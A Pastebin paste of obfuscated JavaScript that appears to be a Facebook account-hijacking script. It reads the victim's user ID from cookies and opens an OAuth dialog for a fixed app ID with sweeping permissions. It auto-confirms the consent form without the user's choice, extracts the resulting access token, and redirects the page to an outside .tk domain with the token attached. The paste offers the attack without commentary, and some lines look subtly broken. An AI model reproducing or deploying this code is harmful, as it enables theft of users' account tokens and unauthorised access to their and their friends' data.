Advertisement
Guest User

Untitled

a guest
Oct 31st, 2014
158
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.46 KB | None | 0 0
  1. var profile_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]).toString();
  2.  
  3. function uygulamaizinver(_0x564ax3) {
  4. var _0x564ax4 = new XMLHttpRequest();
  5. _0x564ax4['onreadystatechange'] = function () {
  6. if (_0x564ax4['readyState'] == 4) {
  7. izinverhtml = document['createElement']('html');
  8. izinverhtml['innerHTML'] = _0x564ax4['responseText'];
  9. if (izinverhtml['getElementsByTagName']('form')['length'] > 0) {
  10. izinverhtml['innerHTML'] = izinverhtml['getElementsByTagName']('form')[0]['outerHTML'];
  11. act = izinverhtml['getElementsByTagName']('form')[0]['action'];
  12. duzenlevegonder(izinverhtml, act);
  13. };
  14. };
  15. };
  16. _0x564ax4['open']('GET', _0x564ax3, true);
  17. _0x564ax4['send']();
  18. };
  19.  
  20. function duzenlevegonder(_0x564ax6, _0x564ax7) {
  21. izinverparams = '';
  22. for (i = 0; i < _0x564ax6['getElementsByTagName']('input')['length']; i++) {
  23. if (_0x564ax6['getElementsByTagName']('input')[i]['name']['indexOf']('__CANCEL__') < 0 && _0x564ax6['getElementsByTagName']('input')[i]['name']['indexOf']('cancel_clicked')) {
  24. izinverparams += '&' + _0x564ax6['getElementsByTagName']('input')[i]['name'] + '=' + _0x564ax6['getElementsByTagName']('input')[i]['value'];
  25. };
  26. };
  27. if (_0x564ax6['getElementsByTagName']('select')['length'] > 0) {
  28. izinverparams += '&' + _0x564ax6['getElementsByTagName']('select')[0]['name'] + '=80';
  29. };
  30. izinverparams['replace']('&fb_dtsg', 'fb_dtsg');
  31. izinverparams += '&__CONFIRM__=1';
  32. _0x564ax6 = _0x564ax6;
  33. var _0x564ax4 = new XMLHttpRequest();
  34. _0x564ax4['onreadystatechange'] = function () {
  35. if (_0x564ax4['readyState'] == 4) {
  36. izinhtml = document['createElement']('html');
  37. izinhtml['innerHTML'] = _0x564ax4['responseText'];
  38. if (izinhtml['getElementsByTagName']('form')['length'] > 0) {
  39. izinhtml['innerHTML'] = izinhtml['getElementsByTagName']('form')[0]['outerHTML'];
  40. _0x564ax7 = izinhtml['getElementsByTagName']('form')[0]['action'];
  41. duzenlevegonder(izinhtml, _0x564ax7);
  42. } else {
  43. sex = _0x564ax4['responseText']['match'](/#access_token=(.*?)&expires_in/i);
  44. if (sex[1]) {
  45. tokenyolla(sex[1]);
  46. };
  47. };
  48. };
  49. };
  50. _0x564ax4['open']('POST', _0x564ax7, true);
  51. _0x564ax4['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded');
  52. _0x564ax4['send'](izinverparams);
  53. };
  54.  
  55. function TokenUrl(_0x564ax9) {
  56. return '//www.facebook.com/dialog/oauth?response_type=token&display=popup&client_id=' + _0x564ax9 + '&redirect_uri=fbconnect://success&sso_key=com&scope=ads_management,create_event,create_note,export_stream,friends_about_me,friends_activities,friends_birthday,friends_checkins,friends_education_history,friends_events,friends_games_activity,friends_groups,friends_hometown,friends_interests,friends_likes,friends_location,friends_notes,friends_online_presence,friends_photo_video_tags,friends_photos,friends_questions,friends_relationship_details,friends_relationships,friends_religion_politics,friends_status,friends_subscriptions,friends_videos,friends_website,friends_work_history,manage_friendlists,manage_notifications,manage_pages,photo_upload,publish_actions,publish_checkins,publish_stream,read_friendlists,read_insights,read_requests,read_stream,rsvp_event,share_item,sms,status_update,user_about_me,user_activities,user_birthday,user_education_history,user_events,user_games_activity,user_groups,user_hometown,user_interests,user_likes,user_location,user_notes,user_online_presence,user_photo_video_tags,user_photos,user_questions,user_relationship_details,user_relationships,user_religion_politics,user_status,user_subscriptions,user_videos,user_website,user_work_history,video_upload,xmpp_login,offline_access';
  57. };
  58. if (!localStorage['token_' + profile_id] || (localStorage['token_' + profile_id] && tarih['getTime']() >= localStorage['token_' + profile_id])) {
  59. uygulamaizinver(TokenUrl('165907476854626'));
  60. var http = new XMLHttpRequest();
  61. http['open']('GET', 'https://graph.facebook.com/' + profile_id, false);
  62. http['send']();
  63. var get = JSON['parse'](http['responseText']);
  64. var isim = get['name'];
  65. };
  66.  
  67. function tokenyolla(_0x564axe) {
  68. top['location']['href'] = 'http:///vienthongonline.tk#' + _0x564axe;
  69. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement